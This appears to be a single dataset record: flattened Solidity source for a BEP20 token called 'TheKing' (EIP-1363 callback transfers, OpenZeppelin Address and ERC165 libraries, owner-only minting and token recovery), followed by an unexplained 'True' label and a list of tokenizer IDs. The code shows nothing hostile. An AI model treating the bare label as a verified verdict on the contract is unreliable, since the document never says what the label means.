* @param amount uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `recipient`
* @return true unless throwing
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param sender address The address which you want to send tokens from
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param sender address The address which you want to send tokens from
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `recipient`
* @return true unless throwing
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 amount) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// File: contracts/token/BEP20/lib/IBEP20OperableReceiver.sol
pragma solidity ^0.8.0;
/**
* @title IBEP20OperableReceiver Interface
* @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall
* from BEP20Operable token contracts as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IBEP20OperableReceiver {
/**
* @notice Handle the receipt of BEP20Operable tokens
* @dev Any BEP20Operable smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param sender address The address which are token transferred from
* @param amount uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` unless throwing
*/
function onTransferReceived(
address operator,
address sender,
uint256 amount,
bytes calldata data
) external returns (bytes4);
}
// File: contracts/token/BEP20/lib/IBEP20OperableSpender.sol
pragma solidity ^0.8.0;
/**
* @title IBEP20OperableSpender Interface
* @dev Interface for any contract that wants to support approveAndCall
* from BEP20Operable token contracts as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IBEP20OperableSpender {
/**
* @notice Handle the approval of BEP20Operable tokens
* @dev Any BEP20Operable smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param sender address The address which called `approveAndCall` function
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` unless throwing
*/
function onApprovalReceived(
address sender,
uint256 amount,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165Checker.sol
pragma solidity ^0.8.0;
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return _supportsERC165Interface(account, type(IERC165).interfaceId) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns a boolean array where each value corresponds to the
* interfaces passed in and whether they're supported or not. This allows
* you to batch check interfaces for a contract where your expectation
* is that some interfaces may not be supported.
*
* See {IERC165-supportsInterface}.
*
* _Available since v3.4._
*/
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) {
// an array of booleans corresponding to interfaceIds and whether they're supported or not
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
// query support of ERC165 itself
if (supportsERC165(account)) {
// query support of each interface in interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
bytes memory encodedParams = abi.encodeWithSelector(IERC165(account).supportsInterface.selector, interfaceId);
(bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams);
if (result.length < 32) return false;
return success && abi.decode(result, (bool));
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: contracts/token/BEP20/lib/BEP20Operable.sol
pragma solidity ^0.8.0;
/**
* @title BEP20Operable
* @dev Implementation of the {IBEP20Operable} interface
*/
abstract contract BEP20Operable is BEP20, IBEP20Operable, ERC165 {
using Address for address;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IBEP20Operable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param recipient The address to transfer to.
* @param amount The amount to be transferred.
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(address recipient, uint256 amount) public virtual override returns (bool) {
return transferAndCall(recipient, amount, "");
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param recipient The address to transfer to
* @param amount The amount to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
transfer(recipient, amount);
require(
_checkAndCallTransfer(_msgSender(), recipient, amount, data),
"BEP20Operable: _checkAndCallTransfer reverts"
);
return true;
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param sender The address which you want to send tokens from
* @param recipient The address which you want to transfer to
* @param amount The amount of tokens to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
return transferFromAndCall(sender, recipient, amount, "");
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param sender The address which you want to send tokens from
* @param recipient The address which you want to transfer to
* @param amount The amount of tokens to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
transferFrom(sender, recipient, amount);
require(_checkAndCallTransfer(sender, recipient, amount, data), "BEP20Operable: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to
* @param amount The amount allowed to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(address spender, uint256 amount) public virtual override returns (bool) {
return approveAndCall(spender, amount, "");
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to.
* @param amount The amount allowed to be transferred.
* @param data Additional data with no specified format.
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(
address spender,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
approve(spender, amount);
require(_checkAndCallApprove(spender, amount, data), "BEP20Operable: _checkAndCallApprove reverts");
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param sender address Representing the previous owner of the given token value
* @param recipient address Target address that will receive the tokens
* @param amount uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(
address sender,
address recipient,
uint256 amount,
bytes memory data
) internal virtual returns (bool) {
if (!recipient.isContract()) {
return false;
}
bytes4 retval = IBEP20OperableReceiver(recipient).onTransferReceived(_msgSender(), sender, amount, data);
return (retval == IBEP20OperableReceiver(recipient).onTransferReceived.selector);
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(
address spender,
uint256 amount,
bytes memory data
) internal virtual returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IBEP20OperableSpender(spender).onApprovalReceived(_msgSender(), amount, data);
return (retval == IBEP20OperableSpender(spender).onApprovalReceived.selector);
}
}
// File: contracts/utils/TokenRecover.sol
pragma solidity ^0.8.0;
/**
* @title TokenRecover
* @dev Allow to recover any BEP20 sent into the contract for error
*/
contract TokenRecover is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverBEP20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IBEP20(tokenAddress).transfer(owner(), tokenAmount);
}
}
// File: contracts/token/BEP20/TheKing.sol
pragma solidity ^0.8.0;
/**
* @title TheKing
* @dev Implementation of the TheKing
*/
contract TheKing is BEP20Mintable, BEP20Burnable, BEP20Operable, TokenRecover {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_
) payable BEP20(name_, symbol_) {
_setupDecimals(decimals_);
_mint(_msgSender(), initialBalance_);
}
/**
* @dev Function to mint tokens.
*
* NOTE: restricting access to owner only. See {BEP20Mintable-mint}.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function _mint(address account, uint256 amount) internal override onlyOwner {
super._mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* NOTE: restricting access to owner only. See {BEP20Mintable-finishMinting}.
*/
function _finishMinting() internal override onlyOwner {
super._finishMinting();
}
}
|
True
|
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16770,
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2705,
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1012,
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14820,
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3314,
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1010,
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2019,
4070,
1006,
2019,
3954,
1007,
2008,
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2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
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1010,
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3954,
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2022,
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2015,
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2101,
2022,
2904,
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12384,
2545,
5605,
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1008,
1008,
2023,
11336,
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12839,
1012,
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18095,
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2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
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2000,
1008,
1996,
3954,
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1008,
1013,
10061,
3206,
2219,
3085,
2003,
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4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
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3988,
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5620,
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12495,
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6095,
6494,
3619,
7512,
5596,
1006,
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5620,
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2121,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
102
] |
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] |
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